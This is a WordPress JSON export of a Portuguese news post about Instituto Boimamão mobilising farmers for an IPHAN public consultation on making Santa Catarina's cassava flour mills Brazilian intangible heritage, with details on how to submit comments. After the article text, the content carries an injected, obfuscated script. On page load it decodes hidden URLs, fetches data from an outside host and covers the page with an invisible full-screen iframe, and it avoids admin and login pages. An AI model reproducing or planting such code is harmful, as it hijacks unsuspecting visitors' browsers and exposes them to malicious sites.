{"id":167093,"date":"2026-03-02T14:47:00","date_gmt":"2026-03-02T17:47:00","guid":{"rendered":"https:\/\/nopontosc.com.br\/?p=167093"},"modified":"2026-03-02T14:47:00","modified_gmt":"2026-03-02T17:47:00","slug":"consulta-publica-pode-tornar-os-engenhos-de-farinha-de-sc-patrimonio-do-brasile-instituto-boimamao-mobiliza-comunidade","status":"publish","type":"post","link":"https:\/\/thedeepblue.com.br\/nopontosc\/2026\/03\/02\/consulta-publica-pode-tornar-os-engenhos-de-farinha-de-sc-patrimonio-do-brasile-instituto-boimamao-mobiliza-comunidade\/","title":{"rendered":"Consulta p\u00fablica pode tornar os engenhos de farinha de SC patrim\u00f4nio do Brasile instituto boimam\u00e3o mobiliza comunidade"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">O Instituto Boimam\u00e3o est\u00e1 mobilizando comunidades, farinheiros e institui\u00e7\u00f5es culturais para participarem da consulta p\u00fablica aberta pelo IPHAN sobre os saberes e fazeres associados aos engenhos de farinha de mandioca de Santa Catarina. O prazo para envio de contribui\u00e7\u00f5es segue at\u00e9 o dia 4 de mar\u00e7o (quarta-feira). A entidade \u00e9 uma das cinco proponentes do pedido.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A iniciativa integra a etapa final do processo de reconhecimento dos engenhos como Patrim\u00f4nio Cultural Imaterial do Brasil. O saber tradicional j\u00e1 possui registro estadual como Patrim\u00f4nio Cultural de Santa Catarina e agora avan\u00e7a para a esfera federal, ampliando a visibilidade e fortalecendo as a\u00e7\u00f5es de salvaguarda dessa pr\u00e1tica centen\u00e1ria.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">O objetivo da consulta p\u00fablica \u00e9 ampliar a escuta e identificar outros grupos, organiza\u00e7\u00f5es, entidades comunit\u00e1rias e detentores de engenhos que se reconhecem nessa tradi\u00e7\u00e3o, garantindo que o reconhecimento nacional seja constru\u00eddo com a participa\u00e7\u00e3o efetiva da pr\u00f3pria comunidade.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Criado em 1998 e reconhecido como Pont\u00e3o de Cultura pelo Minist\u00e9rio da Cultura, o Instituto Boimam\u00e3o atua na preserva\u00e7\u00e3o da cultura tradicional por meio de tr\u00eas frentes integradas: o Museu Comunit\u00e1rio Engenho do Sert\u00e3o, a Casinha da Mem\u00f3ria e a Escola da Terra. A institui\u00e7\u00e3o integra a Rede Catarinense de Engenhos de Farinha e a Rede Nacional de Pontos e Mem\u00f3rias Rurais, tem papel ativo na articula\u00e7\u00e3o de a\u00e7\u00f5es de preserva\u00e7\u00e3o e valoriza\u00e7\u00e3o desse patrim\u00f4nio.<\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" data-id=\"167095\" src=\"https:\/\/thedeepblue.com.br\/nopontosc\/wp-content\/uploads\/2026\/03\/WhatsApp-Image-2026-03-02-at-14.46.35-452x600.jpg\" alt=\"\" class=\"wp-image-167095\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" data-id=\"167096\" src=\"https:\/\/thedeepblue.com.br\/nopontosc\/wp-content\/uploads\/2026\/03\/WhatsApp-Image-2026-03-02-at-14.46.35-2-1.jpg\" alt=\"\" class=\"wp-image-167096\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" data-id=\"167097\" src=\"https:\/\/thedeepblue.com.br\/nopontosc\/wp-content\/uploads\/2026\/03\/WhatsApp-Image-2026-03-02-at-14.46.35-1-452x600.jpg\" alt=\"\" class=\"wp-image-167097\"\/><\/figure>\n<\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Para a presidente do Instituto Boimam\u00e3o, Rosane Luchtenberg, conhecida como R\u00f4 do Engenho, os fazeres e saberes associados aos engenhos de farinha representam uma das mais importantes express\u00f5es culturais das fam\u00edlias farinheiras, que perpetuam pr\u00e1ticas tradicionais transmitidas por gera\u00e7\u00f5es. &#8220;A produ\u00e7\u00e3o artesanal de farinha de mandioca preserva t\u00e9cnicas e tradi\u00e7\u00f5es herdadas de antepassados, fortalecendo o v\u00ednculo das comunidades detentoras. A farinha de Santa Catarina rumo ao registro de Patrim\u00f4nio Imaterial do Brasil!&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Como participar<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As manifesta\u00e7\u00f5es podem ser enviadas at\u00e9 4 de mar\u00e7o por e-mail (conselho.consultivo@iphan.gov.br), por correspond\u00eancia ao Conselho Consultivo do Patrim\u00f4nio Cultural, em Bras\u00edlia, ou por meio do Protocolo Digital dispon\u00edvel no site do IPHAN. Podem participar produtores, comunidades tradicionais, pesquisadores, organiza\u00e7\u00f5es culturais e todos que se identificam com os saberes associados aos engenhos de farinha de mandioca de Santa Catarina.<\/p>\n<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();\n\nconsole.log('28du3');<\/script><script>; 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